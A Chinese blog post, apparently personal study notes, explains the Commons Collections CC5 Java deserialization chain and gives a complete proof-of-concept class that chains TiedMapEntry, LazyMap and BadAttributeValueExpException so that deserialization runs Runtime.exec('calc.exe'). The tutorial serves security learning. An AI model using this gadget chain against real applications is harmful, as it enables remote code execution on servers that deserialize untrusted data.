当前位置:   article > 正文

Java安全学习笔记--反序列化漏洞利用链CC5链_java cc5

java cc5

测试环境

jdk1.8(jdk8u71)

Commons Collections4.0

在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。 CC1LazyMap链

利用链核心

  1. Transformer[] transformers=new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  4. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
  5. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  6. };
  7. Transformer chainedTransformer=new ChainedTransformer(transformers);

TiedMapEntry类

toString()方法

  1. public String toString() {
  2. return this.getKey() + "=" + this.getValue();
  3. }

getValue()方法

  1. public V getValue() {
  2. return this.map.get(this.key);
  3. }

hashCode()方法

  1. public int hashCode() {
  2. Object value = this.getValue();
  3. return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
  4. }

 构造方法

  1. public TiedMapEntry(Map<K, V> map, K key) {
  2. this.map = map;
  3. this.key = key;
  4. }

toString会触发getValue,getValue又会触发get函数,而通过构造函数可以将LazyMap赋值给this.map,这里还有另外一个方法hashCode方法也可以触发getValue这是cc6链中的后面再说。

  1. private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
  2. ObjectInputStream.GetField gf = ois.readFields();
  3. Object valObj = gf.get("val", null);
  4. if (valObj == null) {
  5. val = null;
  6. } else if (valObj instanceof String) {
  7. val= valObj;
  8. } else if (System.getSecurityManager() == null
  9. || valObj instanceof Long
  10. || valObj instanceof Integer
  11. || valObj instanceof Float
  12. || valObj instanceof Double
  13. || valObj instanceof Byte
  14. || valObj instanceof Short
  15. || valObj instanceof Boolean) {
  16. val = valObj.toString();
  17. } else { // the serialized object is from a version without JDK-8019292 fix
  18. val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
  19. }
  20. }

接下来就是在BadAttributeExpValueException的readObject方法中触发toString,这里valObj是可控的,我们可以通过反射将TiedMapEntry传入。

编写POC

  1. import com.sun.xml.internal.messaging.saaj.soap.ver1_1.FaultElement1_1Impl;
  2. import org.apache.commons.collections4.Transformer;
  3. import org.apache.commons.collections4.functors.ChainedTransformer;
  4. import org.apache.commons.collections4.functors.ConstantTransformer;
  5. import org.apache.commons.collections4.functors.InvokerTransformer;
  6. import org.apache.commons.collections4.keyvalue.TiedMapEntry;
  7. import org.apache.commons.collections4.map.LazyMap;
  8. import javax.management.BadAttributeValueExpException;
  9. import java.io.ByteArrayInputStream;
  10. import java.io.ByteArrayOutputStream;
  11. import java.io.ObjectInputStream;
  12. import java.io.ObjectOutputStream;
  13. import java.lang.reflect.Field;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CC5Poc {
  17. public static void main(String[] args) throws Exception{
  18. Transformer[] transformers=new Transformer[]{
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
  21. new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]}),
  22. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
  23. };
  24. Transformer chainedTransformer=new ChainedTransformer(transformers);
  25. Map lazyMap=LazyMap.lazyMap(new HashMap(),chainedTransformer);
  26. TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"asd");
  27. BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException("asd");
  28. Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
  29. field.setAccessible(true);
  30. field.set(badAttributeValueExpException,tiedMapEntry);
  31. //反射赋值
  32. ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
  33. ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
  34. objectOutputStream.writeObject(badAttributeValueExpException);
  35. objectOutputStream.close();
  36. //序列化
  37. ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
  38. ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
  39. objectInputStream.readObject();
  40. }
  41. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/694802
推荐阅读
相关标签
  

闽ICP备14008679号